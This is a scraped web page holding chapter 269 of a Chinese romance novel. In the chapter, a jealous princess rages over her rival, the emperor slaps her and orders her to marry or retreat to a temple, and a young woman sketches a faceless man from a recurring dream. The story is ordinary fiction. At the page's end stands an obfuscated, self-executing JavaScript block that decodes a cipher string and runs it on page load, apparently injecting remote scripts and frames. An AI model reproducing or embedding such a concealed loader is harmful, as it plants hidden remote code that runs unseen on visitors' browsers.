返回

医色撩人:丞相,请接驾

首页
关灯
护眼
字体:
第269章 打一巴掌
(手机请访问 m.duxs8.com); 此时,皇宫。

安然殿。

紫月然眉目阴狠而又愤怒地将梳妆玉案之上的所有东西拂落在地,瓷器碎落发出清脆的声音。

“皇兄为什么不帮我?”紫月然愤恨不甘地开口。

镜中女子因为极怒精致小巧的容颜而显得有几分狰狞,尤其是那一双眼睛,里面带着说不出的阴厉怨恨之色,冷光肆意,看上去有几分令人心惊胆寒。

紫月然看了一眼铜镜,似乎是极其不满自己此时的表情,伸手拿起一个杯子砸了过去,“砰”,铜镜应声而碎,里面面目狰狞的女子瞬间碎成了千万瓣。

“小莲。”紫月然忽然冷声开口。

一直候在外面的小莲推开房门走了进来,看见房间里面一派凌乱浪迹,微微愣了一下,很快也就恢复如常。这种状况,在安然殿实在是见怪不怪了!

“公主!”低唤了一声,然后便是低眉顺眼地站在一旁,等着紫月然的吩咐。

“皇兄除了让言络离开可还有说过什么?”阴冷而又细长的眸子定定地看着小莲,冷声问道。

小莲摇摇头,“不知,紫皇陛下秉退了所有人。”

顿了一下,小莲才缓缓开口,“公主,紫皇陛下不是说过,风清持才是真正的玉家二小姐么?也就是说风清持是和紫皇陛下有婚约的!”

闻言,紫月然眸子闪现一抹说不出的光芒,有些冷,有些寒,最后唇角微微勾出一个优美的弧度,似笑非笑地顿悟道:“我怎么将这么重要的事情给忘记了,风清持与皇兄之间有婚约,又怎么能嫁给言络呢?”

“如果风清持嫁进了皇宫,本公主倒是想看看她如何与言络情深意长!”这句话,语气中带着微微的冷笑。等风清持进了宫,还不是任她搓扁揉圆。

想到这里,紫月然忽然恨不得风清持现在就进宫来,她一定让对方知道知道得罪了她会有什么后果!

“公主,那可是凌依小姐……”小莲在一旁欲言又止。毕竟凌依小姐也是从小就喜欢紫皇陛下,而且与公主关系极好。

紫月然神色之间的阴狠之色已经褪去,换上了往日的纯然,淡淡一笑,“皇兄是帝王,后宫三千佳丽,凌依不会在意这些,更何况,凌依的身份,是不可能执掌东宫的!”凌依的要求不多,她只是希望能够留在皇兄身边。

“对了,凌依还有几日才会回到焱凤?这么久不见,还真是有些想她。”紫月然半俯身趴在桌子上,有些怀念地开口。

她是八年前被皇兄接回来的,大概是担心她一个人太过孤单,皇兄当时便在那些文武百官的世家小姐中选一位年纪相仿的人做她的伴读,正巧当时凌依来梦家小住,也赶上了这次的选拔,她随手一指,便也定下了凌依。

“回公主,凌依小姐前天来信来信,说大概三日后便可抵达焱凤,算来也就是明天了!”小莲淡淡地开口。

紫月然点了点头,“那凌依可还有说些什么?”

“凌依小姐似乎是带着风云依一同前来,大概是风家协商之下同意答应时家的婚事。”顿了一下,才又添了一句,“似乎风云依怀孕了!”

闻言,紫月然有些惊奇意外地挑起眉头,眼中带着说不出的轻蔑之色,颇为嫌弃地开口,“怀孕了?那也是风云依自找的。身为女子,未婚先孕,清白名声闺阁名誉,她都没有了,再者,时显心中本就怨恨极了风云依,即使是迫于形式娶了对方,又怎么会对她多好,风云依又是争强好胜的性格。这两人以后估计热闹了!”最近一句话,带着十足的玩味与嘲弄。

小莲没有说话,只是静默地站在一侧,垂首不语。

就在这个时候,外面传来一道通禀声,“陛下驾到。”

紫月然眼中飞快地闪过一些什么,看了一眼狼藉不堪的房间,皱了皱眉,“小莲,你将房间收拾一下。”说完之后便提着裙摆走出了房间。

走到了隔壁招待他人的偏殿,果然看见了站在殿中的紫月痕,长身玉立,紫衣潋滟。

紫月然撇开眼,精致无暇的容颜带了几分气闷,赌气地开口,“皇兄这个时候过来干什么?”

紫月痕看了一眼殿内的侍女和太监,摆摆手,沉声道:“你们都下去吧!”

众人都离开之后,偌大的一个大殿之内便只剩下紫月痕和紫月然两人,静悄悄的,连带着空气中的气氛都有些微微凝滞。

紫月痕温润如玉的眸子微沉,静静地落在紫月然的身上,没有任何偏差,也没有打破两人之间的沉默,只是眼眸深沉,静默不语,不知在想些什么。

紫月然被对方看得有些微微不自在,拧了拧眉,“皇……皇兄,你干嘛一直这样看着我的?”让她心中有些瘆得慌。

“今天你和言络之间的事情到底是怎么一回事我们都心知肚明,没有挑开是顾及你的面子,这样的事情,没有下一次。”最后五个字,极为深沉凝重,且不容置喙。

紫月然脸色微微一白,抿了抿唇,有些怨恨地开口质问,“既然都没有挑开皇兄为何不顺水推舟帮我一次?”

看着紫月然的表情和眼中不甘而又愤恨的神色,紫月痕温润如水的眉梢再次紧了紧,“言络是什么性子你自己不清楚么?他不愿的事情没有谁能够勉强。”

即使是他以皇帝的身份压着都没有任何用处,那家伙,从来就没有将他的身份看在眼里,之所以愿意帮他这么多年,都是看在姑姑的面上。

“可是我就是喜欢他,我喜欢了他这么多年,凭什么风清持一出现就让我什么希望都没有了!”以前她那般笃定自己以后会和言络在一起,她是天下最美的女子,身份尊贵,合该配上最优秀的男子!

不过是一个风清持,凭什么她可以夺走自己想要的一切,她不甘心,不甘心!

“就凭风清持能让言络爱她!”紫月痕看着自家的妹妹,语调微微泛冷地掷出一句话。

就凭她是言络放在心尖上那么多年的人,就凭言络死心塌地地爱她等她那么多年!

闻言,紫月然本就有些白皙的脸色再次苍白了几分,大声吼道,声音有几分尖锐,“明明是我先认识言络的,明明是我先爱上他的!”这么多年,她一直在想着快些长大,她觉得自己长大了就可以成为言络的新娘,可是,为什么突然多了一个风清持?

如果和言络在一起的那个人是暮絮鸾她都无话可说,毕竟暮絮鸾更早认识言络,可是,风清持才出现多久,她才认识言络多久,她又有多了解言络!?

“爱情里面从来没有先后。”看着有些失控的紫月然,紫月痕语气薄淡地开口,里面还微微多了一抹叹息。再者,就算按照先后顺序,也是姑姑最早出现在言络的生命中,他们之间的缘分,大概在姑姑将昏迷的言络带回王府的时候就已经注定了!

“可是,我不甘心!”紫月然微垂眼眸,细长的刘海遮挡住了眼中的阴狠之色,几乎是咬牙切齿地开口。

“可是,言络不爱你。”炖了一下才继续开口,“言络那种人,看上去慵懒散漫,玩世不羁,骨子里浸染的是薄凉冷清,他若是上了心,那便是全心全意地护着对方,至于其他人或事,哪怕是瞬间在他面前死去他也是眼睛都不眨一下。

“我不要他爱我,我只是想留在他的身边。”她只想留在言络的身边,哪怕他不爱他。

紫月痕只能无奈地叹了一口气,眸色静静地看着外面,没有说话。先不说姑姑对此事的态度,便是言络那个性子,这件事情都没有任何商量的余地。

对言络而言,不爱就是不爱。

不知道是想起什么事情,紫月然忽然眸色一亮,带着几分希冀之色看着紫月痕,“皇兄,风清持既然是玉家二小姐,那她就是你的未婚妻,你能不能娶她?”

紫月痕本来还有着几分不忍心的表情忽然一沉,好看的眸眼之中神色泛冷,毫不犹豫地掷出三个字,“不可能。”那个人不是别人而是将他抚养长大的姑姑,就算之前有过让对方进宫的心思在知道她是姑姑也彻底没了这个想法。

“为什么不可以?”紫月然似乎是没有想到紫月痕会拒绝,尖声开口,“你以前不是喜欢她么?现在她是玉家二小姐和你有婚约不是正好么?”以前皇兄明明是表现出对风清持不错的。

紫月痕微微皱起眉头,“我不同意。”以前对她,或许有那么一分心动,但是绝大部分是欣赏,当作极好的解语花而已。

“你是帝王,注定后宫佳丽三千,就算多了她一个风清持又如何?”紫月然依旧不甘心地开口。对皇兄而言只是后宫中多了一位女子,对她而言,就是有了站在言络身边的机会。

紫月痕神色淡淡地看着紫月然,神色除了冷漠之外还有着几分悲悯之色,徐徐开口,“月然,你已经被自己所谓的爱情冲昏了头脑,你以为风清持不在言络身边他就会爱你么?”

即使没有风清持,言络也不会爱上月然!

“至少,没有风清持,言络身边就没有其他人。”她宁可言络独自一人,也不要有女子与他比肩,除了她,没有任何人有资格站在言络的身边。

“月然,你的爱情太自私了!”顿了一下紫月痕才继续开口,“而且,你最应该好好思考一下你自己究竟爱不爱言络。”

紫月然神色微微一滞,抿了抿唇才定定地开口,“我爱言络。”这么多年,她一直都爱着言络。

抬眸眼中染了不甘和质问,“可是你是我皇兄,你为什么不帮我,反而帮着风清持那个贱人?”

紫月痕的眉一皱再皱,最终脸上的表情连一丝温润都没有,尽数被冷漠替代,“紫月然,请注意你的言辞。”

“哈哈……”紫月然有些放肆地大笑,没有再在紫月痕伪装,眸子嘲弄而又讽刺地看着对方,“看吧,皇兄,其实你还是在意风清持的。”

紫月痕没有说话,她是从小照拂他看顾他教会他一切的姑姑,他自然是在意她。只是月然……紫月痕眯了眯眼睛,有些凛冽的危险在其中来回流动,月然这条命都是姑姑用自己的性命所换来的,她现在这样,如何对得起她当年的牺牲?!

“月然,我今日前来是为了告诉你一件事情,你也到了适婚的年纪,准备一下,我打算为你选择驸马。”紫月痕声音很平淡,里面的威严和不可违逆却是一分不少。

“你说什么?”紫月然瞬间瞪大了眼睛,声音已经拔高到尖锐,不可置信地看着对方。

紫月痕神色浅淡地看了她一眼,平平静静地开口,“朕已经下旨,为你择婿。”

紫月痕从来不在紫月然面前自称为朕,可见这次是真的怒了。

“我不同意。”紫月然直截了当地说道,神色之间阴狠若隐若现。

若是出嫁了,那她就彻底没有机会了!

“若是不愿出嫁,那你就准备准备,朕送你去宁佛寺清修一段时间!”

“你……要让我出家?”紫月然神色一怔,里面尽是不相信之色,神色难言而又复杂地看着紫月痕,眸子里面写满了难以接受。

大概是因为双亲早逝,自己身体孱弱,皇兄虽然只比她自己大了两岁却一直极为宠溺她,不管她要什么都会送到她的面前,可是现在,皇兄竟然说出了这句话。

“只是让你去宁佛寺静静心而已。”紫月痕声音淡漠地开口。

“可是你以前答应过父皇母后会好好照顾我的?”紫月然质问,顿了一下,才缓缓开口,“还有翎墨姑姑,翎墨姑姑对我最好了,你答应过她会好好……?”

听见紫月然的话,紫月痕的面色再次冷了几分,冷声低斥,“住口!”随即目光幽然而又泛凉地看着对方,“你不配提起姑姑,当年她是怎么教导你的,看看你自己现在是什么样子,你觉得自己对得起她么?”

当年由姑姑教养长大的五人中,唯有月然,最让人失望!

咬了咬下唇,静默半晌之后才缓缓开口,“我哪里对不起她了,如果不是因为她的母妃,父皇怎么会那么早就离开人世,都是因为她,我自小就无父无母,是她欠了我们的,是她欠了我……”

“啪!”一个响亮而又清脆的耳光响彻整个空荡荡的大殿。

紫月然被打得猛然偏头,白皙精致的容颜之上顿时红肿起来,浮现了五道修长的指痕,看上去清晰明了。

紫月痕眯着眼睛,眸色冷沉地看着对方,没有说话。但是在冷沉之外,还有一丝其他说不出来的错愕。

“你竟然打我?”紫月然没有转头,依旧是保持刚才被打到偏头的姿势,语气幽然而又不甘,“这么多年你连厉声呵斥我一句都舍不得,现在竟然出手打我。而且还是为了一个死人!”最后一句话尖声厉然,似乎是从松嗓子眼中嘶吼出来的狠狠地搔刮着耳膜。

紫月痕神色再次幽冷了几分,深沉而又冷冽地开口,“看来这些年朕对你太好了,才让你养出了这般骄纵恣意的性子!”

“朕给你三天时间考虑一下,要么择婿出嫁,要么就直接去宁佛寺吧!”说完之后不再理会站在殿中的紫月然,直接转身毫不犹豫地开口。

自右肩垂落在胸前的墨发看着渐渐远去的背影,紫月然精致的容颜之上看不出任何情绪,细长的眸中片阴狠之色。

许久,才狠绝地低声开口,“风清持,都是因为你,我一定不会放过你的!”话语阴狠毒辣,脸上的表情更甚。

是夜。

月明星稀,寥寥无几的星子稀稀落落地镶嵌在墨色的天空,明月清冷淡薄的银色光辉洒落在这片静谧无垠的大地。

此时,白府。

月时九正伏案书桌之前,仅着了单薄的里面,外面随意地披了一件青色外袍,手中握着一只上好的白玉狼毫毛笔,毛笔的另一端放在嘴中咬着,清逸的眉梢缓缓皱起,目光却是落在摊开在书案之上的宣纸之上。

素白的宣纸染了墨迹,上面清晰明了地绘了一名男子。

男子一身简便的白衣,身姿颀长如同雨后挺拔的修竹,腰间还配挂着一个极为精致的骨哨,骨哨之上,花纹叠生,繁复而又细致,极是好看。

只是,这名男子的面容之上,却是一片空白,什么都没有画。

盯着这幅画半晌,月时九手中的笔提起又放下,就这样来来回回辗转了十几遍,似乎是想要绘画些什么,半天之后终究还是没有下笔。

“到底是谁呢?”拧了拧眉梢,月时九有些不甘地喃喃自语。

两年以前,她就一直重复地做着同一个梦,盛开到极致接近颓败的荼蘼花丛之中,站着一道修长的身影,背对着她站在那里,每次当她想要靠近看一看对方容颜的时候梦境中就会瞬间蒙上一层大雾,然后渐渐模糊里面的一切场景,直至……消失。

这一幅图,是她连续三天都出现那个梦境之时自己绘画出来的,她从开都是只画春宫图,而是唯一例外的一幅图。

只是,这么久过去了,这名男子的面容她还是无法画出来。

当时今天晚上,她再次做了这个梦,同样的梦境,同样的荼蘼花,同样倨傲清瘦的背影,同样的……看不清楚容颜!

只是今天,梦境中的场景似乎清晰了一些。

缓缓动笔,蘸墨,落笔,很快,男子身边便多了几许不一样的风景。

一丛又一丛的荼蘼花繁盛至极,灿烂夺目,带着几分说不出来的孤绝之意,令人一眼看过去便心生出一种绝望。在荼蘼花的尽头,依稀是一座山峰,高耸入云,直抵霄汉。

山峰边立着一个石碑,约有半人高。

笔锋走至这里,便在一瞬间停了下来。

月时九微微拧起眉头,认认真真地细细回想。

“这个山峰到底是叫什么名字呢?”轻轻地开口,带着几分无奈怅然的语气。

目不转睛地盯着面前的宣纸许久,忽然,脑海之中一道亮光一闪而过,月时九的眸子如灯盏一般被瞬间点亮,缓缓启唇,声音清朗,如玉碎了一地,“后弦峰。”

“是后弦峰!”然后非常快速地动笔在石碑之上写下龙飞凤舞的三个大字。

看了一眼外面的天色,没有顾及太多,直接将衣服穿好拿着手中的话奔出了自己的房间。

银潋如水的月色自半开的木轩窗外透进来,房间里面,因为月色而一片清亮,将那些阴影衬得愈加灰暗了。

白未檀则是坐在阴影之处,一身雪衣,一身寥落,入手的地方,便又错落的月色,一片清亮柔和之意。

房间最角落的一个地方,幽幽地燃着一个明黄色的灯盏,火苗微弱,在夜风中轻轻闪烁着,欲灭未灭,似乎那点儿火苗下一刻就会被吹散一般。

“叩叩叩!”外面传来了有些急促的敲门声。

白未檀有些哑然地微微扬起细长的眼眸,似乎是惊讶这么晚了还会有人来打扰他,不过还是起身开门。

“师兄!”房门刚被打开,一道青色的身影就直接扑了进来,幸好白未檀及时扶住对方才不至于摔倒在地上。

白未檀看了一面站在面前的女子,拢了拢眉,低低地呵斥,“怎么总是这般冒冒失失!”

月时九吐了吐舌,笑嘻嘻地开口,“谢谢师兄!”

“你这么晚来找我是有什么重要的事情么?”白未檀琉璃如烟的眸子静静地看着对方,问。小九素来不勤快,除非有什么极为重要的事情,不然她基本上不会主动去找别人。

听白未檀问起,月时九才想起自己是为了什么事情而来,直接走到房间中的书案边,将手中折叠起来的墨画缓缓摊开,对着白未檀道:“师兄,你快过来看看这幅画!”

看着对方取画的动作,白未檀如玉的容颜微微一滞,精致写意眉尖微不可见地抽搐了一下,声音温凉地开口,“我拒绝。”

月时九微微一顿,不知是想起什么,忽然有些不怀好意地笑了笑,“师兄,不是春宫图。”

她忽然想起来自己以前每当画了她觉得不错的春宫图就会拿去和师兄分享,可是师兄除了第一次不知情的情况下看了一次,其余每次看见她拿出画纸便直接离开,理都不愿搭理她。

白未檀有些意外地轻挑眼眸,语气薄淡地开口,带了几分哂笑,“你竟然还有不是春宫图的画?!”话语和表情皆是极为狐疑。

不过还是缓步上前。

“喏,你看!”月时九将画全部摊开,用砚台和放置毛笔的木架压着画纸的两端。

白未檀不过是看了一眼,如琉璃一般淡然无波的眼眸在瞬间升腾起一股子烟波,浩淼无垠,顷刻之间席卷了整个眼眸。

“师兄,你见多识广,知不知道这个地方是那里?”停顿了一下才又继续开口,“后弦峰?听上去好像挺熟悉的。”声音有些微微郁闷。

她总觉得那个梦太过古怪,就……好像是自己亲身经历过一般,那种感觉,真实而又朦胧!

总之,是很不好的感觉。

“后弦峰!?”白未檀低低地开口,声音莫名,根本听不出里面是何种情绪,亦或者,毫无情绪。

月时九点了点头,“嗯嗯嗯,师兄,你知不知道哪儿有后弦峰啊?”说完之后目光认真地看着对方,等着他给出回答。

也许,知道后弦峰在那里,她就可以找出画中的男子,窥一窥对方的庐山真面目,也就可以知道到底是怎么一回事了!

对上月时九的眼眸,白未檀静默了片刻,才意味不明地问,“小九怎么忽然想起画这种画了?”

月时九撇撇嘴,有些幽怨地道:“也不是突然想起来,就是自两年前开始,我就经常反反复复地做着同一个梦境,这就是梦境里面出现的场景!”这个问题,都困扰她两年了。

闻言,在月时九看不见的地方白未檀凝了凝眉,沉默了半晌之后才缓缓开口,“苗疆有一座连绵不绝的山脉,青客,这后弦峰便是青客里面的一座山脉。”只是因为青客山脉很多,后弦峰在里面并不突出,所以知晓的人并不多。

月时九的眉一松一紧,神色之间带了几分说不出来的复杂之色,“在苗疆?”不知道为什么,仅仅是听到苗疆这两个字,她心中就生出一种说不出来的逼仄与厌烦。

似乎那是一个极其不好的地方,一种本能的排斥!

白未檀将月时九脸上所出现的表情看在眼里,缓缓开口,“苗疆与中原隔绝,不通来往,而且,苗疆擅长蛊虫等邪灵之术,是一个十分阴邪的地方。”

停顿了一下,“你怎么会梦到那个地方?”

月时九摇了摇头,“我也不知道我,但是这个梦境经常出现,而且,给我的感觉,很真实,就像是以前发生过一样。”就像她以前去过那个地方一般,可是,她非常肯定,自己连出无回谷都极少,又怎么会去苗疆呢!?

白未檀沉默半晌,目光落在那一道穿着白衣的男子身上,眸色微微沉了几分,没有说话。

“师兄,你说这会不会是我的前生啊?”说到这里,眸子忽然一挑,带了几分狎昵之色。

白未檀沉吟了片刻,神色幽幽地看着月时九,“嗯,也许就是了!”小九以前所经历过的事情,对现在的她来说,都是前尘过往,与前生无异。

只是,让他有些意外的是,当年九寸灰下的极深,没想到在没有解药的情况下小九竟然还能忆起当年事情的片段!

只是,不知道这是好是坏,现在的小九很好,回到了以前从未认识尹子希的时候,万一九寸灰被揭晓,小九的两段记忆指不定会混在一起。

“小九,你还是回去吧,顺便将琦溪和玉恒带回去。”无回谷也基本上是与世隔绝,里面有三分之一的墨影,很安全。

再者,将琦溪和玉恒交给小九他也比较放心。

月时九微微一愣,“诶”了一声,“你之前不是不让我将琦溪带走么?”而且,为什么现在还多了一个玉恒?她可不会带孩子,尤其还是那种小不点的婴儿!

“接下来应该会很忙,我怕分身乏术无法照顾他们。”白未檀缓缓开口。

干巴巴

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();